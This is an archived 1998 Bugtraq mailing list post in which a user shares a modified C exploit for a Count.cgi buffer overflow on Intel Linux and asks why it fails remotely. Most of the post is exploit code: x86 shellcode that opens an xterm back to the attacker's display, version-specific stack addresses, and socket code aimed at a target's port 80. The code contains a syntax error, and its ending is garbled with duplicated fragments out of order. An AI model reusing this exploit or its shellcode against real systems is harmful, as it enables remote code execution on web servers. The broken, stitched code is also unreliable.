Bugtraq mailing list archives

Remote count.cgi exploit mods


From: an713137 () MAILEXCITE COM (_ _)
Date: Thu, 9 Jul 1998 18:41:46 -0700


There is a commonly known local exploit available which works on Count.cgi.   Plaguez posted the original and Gus 
posted a mod for linux.

I've tried to modify the exploit further to
work on a remote linux site.   This seems to be a better way than to test our site internally.   It compiles fine and 
seems to run, but doesnt send me an Xterm.  I have attached my hacked code.  Any ideas or suggested improvements ??

KAPTEN
an713137 () mailexcite com
----------------snip here if you want------------------

/*###############################################################
#################################################################
##
##   count.cgi.l.c -  intel linux exploit for Count.cgi
##   Gus/97
##   Shell code blatantly stolen from 'wwwcount.c' by
##   Plaguez <dube0866 () eurobretagne fr>
##
##   Spawns an xterm on your $DISPLAY, or override on command
##   line.
##
##   Modified (ok hacked) by Kapten to test the
##   security of a site remotely.
*/


#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>


/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);
int pop_connect(char *);


int popfd;
FILE *popfp;

/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
/* To send an xterm the line above should work */


char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";




int main (int argc, char *argv[]){
  char *shellcode;
  int cnt,ver;
  unsigned long sp;
  int retcount;
  int dotquads[4];
  int dispnum;
  char displaynamebuf[255];


  sp = cnt = ver = 0;
  printf("Counterterm - Gus\n");
  if (argc<4) usage(argv[0]);

  while ((cnt = getopt(argc,argv,"d:v:h:")) != EOF) {
    switch(cnt){
    case 'd':
      {
        retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
                          &dotquads[0],
                          &dotquads[1],
                          &dotquads[2],
                          &dotquads[3], &dispnum);
        if (retcount != 5) usage(argv[0]);
        sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d",
                dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
        shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
        sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
      }
    break;
    case 'v':
      ver = atoi(optarg);
      printf("Ver is %d\n",ver);
      break;
    case 'h' :
          if(pop_connect(optarg == -1)
          {
                printf("Error connecting to host %s\n", optarg);
                exit(0);
          }
          printf("Connected to: %s\n", optarg);
          popfp=fdopen(popfd, "rt");
          break;
    default:
      usage(argv[0]);
      break;
    }
  }

  sp = getsp(ver);

  (void)doit(sp,shellcode);

  exit(0);
}

unsigned long getsp(int ver) {

  /* Get the stack pointer we should be using. This is version specific, and,
  ** as with all buffer overruns is more of a pointer than a precise value.
  */

  unsigned long sp=0;

  if (ver == 15) sp = 0xFFFFFF;
  if (ver == 20) sp = 0XFFFFFF;
  if (ver == 22) sp = 0xbfffa0b4; /* This is a common version */
  if (ver == 23) sp = 0xbfffee38;
  if (sp == 0) {
    printf("That version is not vulnerable.\n");
    exit(1);
  } else {
    printf("Using offset 0x%x\n",sp);
    return sp;
  }

}


int usage (char *name) {
  printf("Usage:%s -d <Your IP> -v <version> -h <target host>\n",name);
  printf("e.g. %s -d 127.0.0.1:0 -v 22 sucker.target.com \n",name);
  exit(1);
}

void doit (long sp, char *shellcode) {

  int cnt;
  char qs[7000];
  char chain[] = "user=a";
  int j,k;

  for(cnt=0;cnt<4104;cnt+=4) {
    qs[cnt+0] = sp &  0x000000ff;
    qs[cnt+1] = (sp & 0x0000ff00) >> 8;
    qs[cnt+2] = (sp & 0x00ff0000) >> 16;
    qs[cnt+3] = (sp & 0xff000000) >> 24;
  }
  strcpy(qs,chain);
  qs[strlen(chain)]=0x90;

  qs[4104]= sp&0x000000ff;
  qs[4105]=(sp&0x0000ff00)>>8;
  qs[4106]=(sp&0x00ff0000)>>16;
  qs[4107]=(sp&0xff000000)>>24;
  qs[4108]= sp&0x000000ff;
  qs[4109]=(sp&0x0000ff00)>>8;
  qs[4110]=(sp&0x00ff0000)>>16;
  qs[4111]=(sp&0xff000000)>>24;
  qs[4112]= sp&0x000000ff;
  qs[4113]=(sp&0x0000ff00)>>8;
  qs[4114]=(sp&0x00ff0000)>>16;
  qs[4115]=(sp&0xff000000)>>24;
  qs[4116]= sp&0x000000ff;
  qs[4117]=(sp&0x0000ff00)>>8;
  qs[4118]=(sp&0x00ff0000)>>16;
  qs[4119]=(sp&0xff000000)>>24;
  qs[4120]= sp&0x000000ff;
  qs[4121]=(sp&0x0000ff00)>>8;
  qs[4122]=(sp&0x00ff0000)>>16;
  qs[4123]=(sp&0xff000000)>>24;
  qs[4124]= sp&0x000000ff;
  qs[4125]=(sp&0x0000ff00)>>8;
  qs[4126]=(sp&0x00ff0000)>>16;
  qs[4127]=(sp&0xff000000)>>24;
  qs[4128]= sp&0x000000ff;
  qs[4129]=(sp&0x0000ff00)>>8;
  qs[4130]=(sp&0x00ff0000)>>16;
  qs[4131]=(sp&0xff000000)>>24;

  strcpy((char*)&qs[4132],shellcode);

/*  For local Counter testing we would use the following ..
        setenv("HTTP_USER_AGENT",qs,1);
        setenv("QUERY_STRING",qs,1);
        system("./Count.cgi"); */

/*      But for testing a remote site we will try this .. */

        setenv("HTTP_USER_AGENT",qs,1);
        setenv("QUERY_STRING",qs,1);
        send(popfd, "GET /cgi-bin/Count.cgi\n\n",24,0);
/*      pause for a while */
    printf("Sending the buffer to port 80.\n");
        for(j=0;j<500;j++)
        {
                for(k=0;k<500;k++){;}
                printf(".");
        }
        printf("\n");
        fclose(popfp);
    close(popfd);

}


int pop_connect(char *pophost)
{
   int popsocket;
   struct sockaddr_in sin;
   struct hostent *hp;

   hp=gethostbyname(pophost);
   if(hp==NULL) return -1;

   bzero((char *)&sin,sizeof(sin));
   bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
   sin.sin_family=hp->h_addrtype;
   sin.sin_port=htons(80); /* set port to 80 for http */
   popsocket=socket(AF_INET, SOCK_STREAM, 0);
   if(popsocket==-1) return -1;
   if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
   popfd=popsocket;
   return popsocket;
}



5Cn",24,0);
/*      pause for a while */
    printf("Sending the buffer to port 80.\n");
        for(j=0;j<500;j++)
        {
                for(k=0;k<500;k++){;}
                printf(".");
        }
        printf("\n");
        fclose(popfp);
    close(popfd);

}


int pop_connect(char *pophost)
{
   int popsocket;
   struct sockaddr_in sin;
   struct hostent *hp;

   hp=gethostbyname(pophost);
   if(hp==NULL) return -1;

   bzero((char *)&sin,sizeof(sin));
   bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
   sin.sin_family=hp->h_addrtype;
   sin.sin_port=htons(80); /* set port to 80 for http */
   popsocket=socket(AF_INET, SOCK_STREAM, 0);
   if(popsocket==-1) return -1;
   if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
   popfd=popsocket;
   return popsocket;
}





/*      But for testing a remote site we will try this .. */

        setenv("HTTP_USER_AGENT",qs,1);
        setenv("QUERY_STRING",qs,1);
        send(popfd, "GET /cgi-bin/Count.cgi\n


Free web-based email, Forever, From anywhere!
http://www.mailexcite.com



Current thread: